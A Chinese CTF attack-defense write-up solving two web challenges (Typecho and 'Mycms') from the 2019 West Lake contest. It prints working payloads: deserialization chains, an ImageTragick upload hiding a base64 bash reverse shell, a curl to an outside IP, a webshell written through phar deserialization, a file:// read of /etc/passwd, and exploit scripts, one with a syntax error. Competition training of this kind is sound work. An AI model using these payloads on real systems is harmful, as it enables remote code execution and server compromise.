内容简介:前言上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。Web1 – typecho
前言
上周参加了西湖论剑线下赛,在AD攻防赛中喜迎冠军,以下是AD攻防赛中2道web的题解。
Web1 – typecho
整体源码如下:
因为是typecho CMS,所以肯定有已知CVE,由于之前审计过,这就不重新分析了,只分析人为加入的。
漏洞1 – 反序列化CVE
https://skysec.top/2017/12/29/cms%E5%B0%8F%E7%99%BD%E5%AE%A1%E8%AE%A1-typecho%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E/
可参加我以前分析的这篇文章,构造如下序列化,进行RCE:
class Typecho_Feed{ private $_type='ATOM 1.0'; private $_items; public function __construct(){ $this->_items = array( '0'=>array( 'author'=> new Typecho_Request()) ); } } class Typecho_Request{ private $_params = array('screenName'=>'phpinfo()'); private $_filter = array('assert'); } $poc = array( 'adapter'=>new Typecho_Feed(), 'prefix'=>'typecho'); echo base64_encode(serialize($poc));
漏洞2 – Imagick
通过源码diff,可以发现:
/var/Widget/Users/Profile.php
有明显不同,插入了一大段代码:
我们审计这段代码,可以发现关键点:
try { $image = new Imagick($file['tmp_name']); $image->scaleImage(255, 255); file_put_contents($path, $image->getImageBlob()); } catch (Exception $e) { $this->widget('Widget_Notice')->set(_t("头像上传失败"), 'error'); $this->response->goBack(); }
这段代码使用了Imagick(),而该函数存在RCE漏洞。
我们以如下代码为例进行测试:
构造上传内容为:
Content-Disposition: form-data; name="file_upload"; filename="exp.gif" Content-Type: image/jpeg push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pICZndDsmIC9kZXYvdGNwL2lwL3BvcnQgMCZndDsmMQ== | base64 -d | bash`"| cat flag " )' pop graphic-context
即可RCE。
漏洞3 – authcode泄露
我们diff可以发现如下路径,存在新增文件:
/var/Sitemap.php
我们审计代码发现关键点:
function ab($a='a') { $b = authcode(base64_decode('MjJkZnFseEVScHcxWkU5c08raGxoOUJzWGFKM0F3NWVPMm5QUUFISm5WSDhuTGc=')); $b($a); } { ob_start(ab); echo authcode($_GET['site']); ob_end_flush(); }
我们直接var_dump($b),发现为system,即此处如果可控$a,则可进行RCE。
我们测试一下:
<?php function ab($a='a') { // replace all the apples with oranges return system($a); } ob_start("ab"); ?> curl 106.14.114.127:24444 <?php ob_end_flush(); ?>
可收到请求:
则不难发现,如果我们能控制如下函数的输出内容,即可进行任意RCE。
authcode($_GET['site']);
那我们跟进authcode:
function authcode($string, $key = '12333010101') { $ckey_length = 4; $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = substr($string, 0, $ckey_length); $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = base64_decode(substr($string, $ckey_length)); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } }
依次分析,首先key已知为12333010101,那么:
$cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey);
分别为:
afbedca20d58ccf2ceab39618a931d526ba4b613c047adffd92173daa701cdb6 64
然后操作:
$string = base64_decode(substr($string, $ckey_length)); $string_length = strlen($string);
所以我们构造的payload的base64长度要小于64。
然后是一堆流密钥生成步骤,到最后解密这一块:
for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
最后有一步操作,即将我们输入的密文$string,异或上之前的流密钥,得到明文$result。
那么如果我们想要已知明文求密文,即用$result异或上流密钥即可:
$string .= chr(ord($result[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
那我们怎么获取$result呢?还有一步校验要通过:
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); }
我们可以用如下方式生成$result:
<?php $keyb = "9528c27d9961b981415d909a120c6e1b"; $result = 'ls'; $tmp = substr(md5($result . $keyb), 0, 16); $padding = '0000000000'; $result = $padding.$tmp.$result; var_dump($result);
最后异或之前的流密钥,再base64encode,即可得到我们的input,达到任意RCE的目的。
值得注意的是还有一步:
$keyc = substr($string, 0, $ckey_length);
在我们只有明文,没有加密算法的时候,他需要对密文进行截取,这就非常难办了。但是好在:
$ckey_length = 4;
由于其在base64encode之后,所以我们可以对其进行爆破,数量级为64^4,还是在可爆破的范围内。
这样很容易即可进行RCE(这样的题目放在4个小时,2个web的AD下,可能不太好吧= =)。
Web2 – Mycms
整体源码如下,我们依次审计:
漏洞1 – 预留回调函数
/footer.php
<?php if($_SERVER['SCRIPT_FILENAME']==__FILE__){ echo '<p>© mycms</p>'; }else{ array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"])); } ?>
从代码不难看出:
array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
该位置存在命令执行,例如:
array_filter(array('ls /tmp'),'system');
但是如果直接访问footer.php:
http://localhost/footer.php
会直接打印:
© mycms
所以需要找到一个包含点,不难发现index.php有:
<?php include "footer.php";?>
那么只要$data["name"]和$data["pass"]可控,即可进行任意命令执行。
我们跟进两个变量:
/libs/inc_common.php
$data = array_merge($_POST,$_GET);
可以发现,既可以用$_POST也可以用$_GET进行传参。
所以第一个漏洞利用exp可以写为如下:
import requests import base64 url = 'http://localhost/index.php' data = { "name":base64.b64encode('ls'), "pass":base64.b64encode('system') } r = requests.post(data=data,url=url)
漏洞2 – 预留登录shell
/shell.php
<?php session_start(); if ($_SESSION['role'] == 1) { eval($_POST[1]); }
我们发现有一个较为明显的预留shell,但是需要:
$_SESSION['role'] == 1
我们跟进该值:
/login.php
if (User::check($user, $pass)) { setcookie("auth",$user."\t".User::encodePassword($pass)); $_SESSION['user'] = User::getIDByName($user); $_SESSION['role'] = User::getRoleByName($user); $wrong = false; header("Location: index.php"); } else { $wrong = true; } }
可以发现如上登录函数,其中有赋值操作:
$_SESSION['role'] = User::getRoleByName($user);
跟进该函数getRoleByName():
public static function getRoleByName($name) { $users = User::getAllUser(); for ($i = 0; $i < count($users); $i++) { if ($users[$i]['name'] === $name) { return $users[$i]['role']; } } return null; }
再跟进getAllUser():
public static function getAllUser() { $sql = 'select * from `user`'; $db = new MyDB(); if (!$users = $db->exec_sql($sql)) { return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1)); } return $users; }
可以发现有admin账户信息,容易知道admin账户为:
username = admin password = admin123
那么综合来看,只需使用该账户登录,即可使用shell.php。
那么可以写出如下exp:
import requests url = "http://localhost/login.php" s = requests.session() data = { 'user':'admin', 'pass':'admin123' } r = s.post(url, data=data) data = { '1':"system('ls');" } url = "http://localhost/shell.php" r = s.post(url,data=data)
漏洞3 – 管理员覆盖
我们注意到注册页面:
/register.php
$data["name"] = addslashes($data['name']); $data["password"] = User::encodePassword($data['password']); $res = User::insertuser($data);
我们跟进insertuser():
public static function insertuser($data) { $db = new MyDB(); $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')"; if (!$result = $db->exec_sql($sql)) { return array('msg' => '数据库异常', 'code' => -1, 'data' => array()); } return array('msg' => '操作成功', 'code' => 0, 'data' => array()); }
发现关键语句:
$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
未对$data进行判断,不但未进行查重,也没对数组内容进行check,我们可以顺便传入role,覆盖管理员。
可写出如下脚本:
import requests s = requests.session() url = "http://localhost/register.php" data = { 'name':'skysky' 'password':'skysky' 'role':'1' } r = s.post(url, data=data) url = "http://localhost/login.php" data = { 'user':'skysky', 'pass':'skysky' } r = s.post(url, data=data) data = { '1':"system('ls');" } url = "http://localhost/shell.php" r = s.post(url,data=data)
漏洞点4 – 任意文件读取
我们看到文件:
/down.php
<?php if (isset($data['filename'])) { if(preg_match("/^http/", $data['filename'])){ exit(); } chdir("/var/www/html/static/img/"); if (file_exists($data['filename'])) { header("Content-type: application/octet-stream"); header('content-disposition:attachment; filename='.basename($data['filename'])); echo file_get_contents($data['filename']);exit(); }else{ echo "文件不存在"; } } ?>
这里对filename参数做了过滤,但过滤非常有限,我们可以用file协议进行任意文件读取:
http://localhost/?filename=file:///etc/passwd
漏洞点5 – 反序列化
我们看到文件:
/libs/class_debug.php
<?php class Debug { public $msg=''; public $log=''; function __construct($msg = '') { $this->msg = $msg; $this->log = 'errorlog'; $this->fm = new FileManager($this->msg); } function __toString() { $str = "[DEUBG]" . $msg; $this->fm->save(); return $str; } function __destruct() { file_put_contents('/var/www/html/logs/'.$this->log,$this->msg); unset($this->msg); } }
可以发现这里有比较明显任意写文件漏洞,但我们需要控制文件名和文件内容,即:
$this->log $this->msg
这里的exp构造较为容易:
<?php class Debug { public $msg='sky.php'; public $log='<?php @eval($_POST[\'sky\'])'; } $a = new Debug(); var_dump(serialize($a));
可以得到我们的payload:
O:5:"Debug":2:{s:3:"msg";s:7:"sky.php";s:3:"log";s:26:"<?php @eval($_POST['sky'])";}
但是我们缺少一个触发序列化的点,这里容易想到phar反序列化。
我们全局搜索file_exists(),可以发现/down.php中存在该操作:
if (file_exists($data['filename']))
同时该处没有对伪协议进行过滤,我们可以使用操作:
filename=phar://......
于是我们进一步寻找上传点,我们在/admin.php发现对应上传功能:
else if ($data['action'] == 'send_article') { $res = Article::sendArticle($data); echo "<html><script>alert('" . $res['msg'] . "')</script></html>"; echo "<script>window.location.href='admin.php'</script>"; }
我们跟进sendArticle():
$oldname = $_FILES['files']['name']; $tmp = $_FILES['files']['tmp_name']; $pathinfo = pathinfo($oldname); if (in_array($pathinfo['extension'], array('php', 'php3', 'php4', 'php5'))) { return array('msg' => '文件上传类型出错', 'code' => -1, 'data' => array()); } $nameid = time() . rand(1000, 9999); $name = $nameid. '.' . $pathinfo['extension']; $filepath = dirname(dirname(__FILE__)) . '/uploads/'; $file = 'uploads/' . $name; if (!move_uploaded_file($tmp, $filepath . $name)) { return array('msg' => '文件上传出错', 'code' => -1, 'data' => array()); }
这里可以看到几个过滤,首先对后缀名进行了过滤:
'php', 'php3', 'php4', 'php5'
然后进行了重命名,但这都不重要。我们可以构造图片后缀的phar文件,然后上传,结合file_exists()触发反序列化。
构造如下:
<?php class Debug { public $msg='sky.php'; public $log='<?php @eval($_POST[\'sky\'])'; } $a = serialize(new Debug()); $b = unserialize($a); $p = new Phar('./skyfuck.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('skyfuck.phar', 'skyfuck.jpg') ?>
上传图片后即可触发反序列化,通过:
http://localhost/down.php?filename=phar://uploads/1234.jpg
即可任意写shell。
后记
听说两个cms一起有是几个洞 = =,先分析一下目前我找到的吧~有空再继续挖掘!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 2019西湖论剑AD攻防Web题解
- 2019公链论剑 • 创新力
- 2019 西湖论剑 Web wp
- 2019安恒周周练西湖论剑特别版
- AI时代论剑,芯片是核心,中国能否弯道超车?
- leetcode题解(动态规划)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。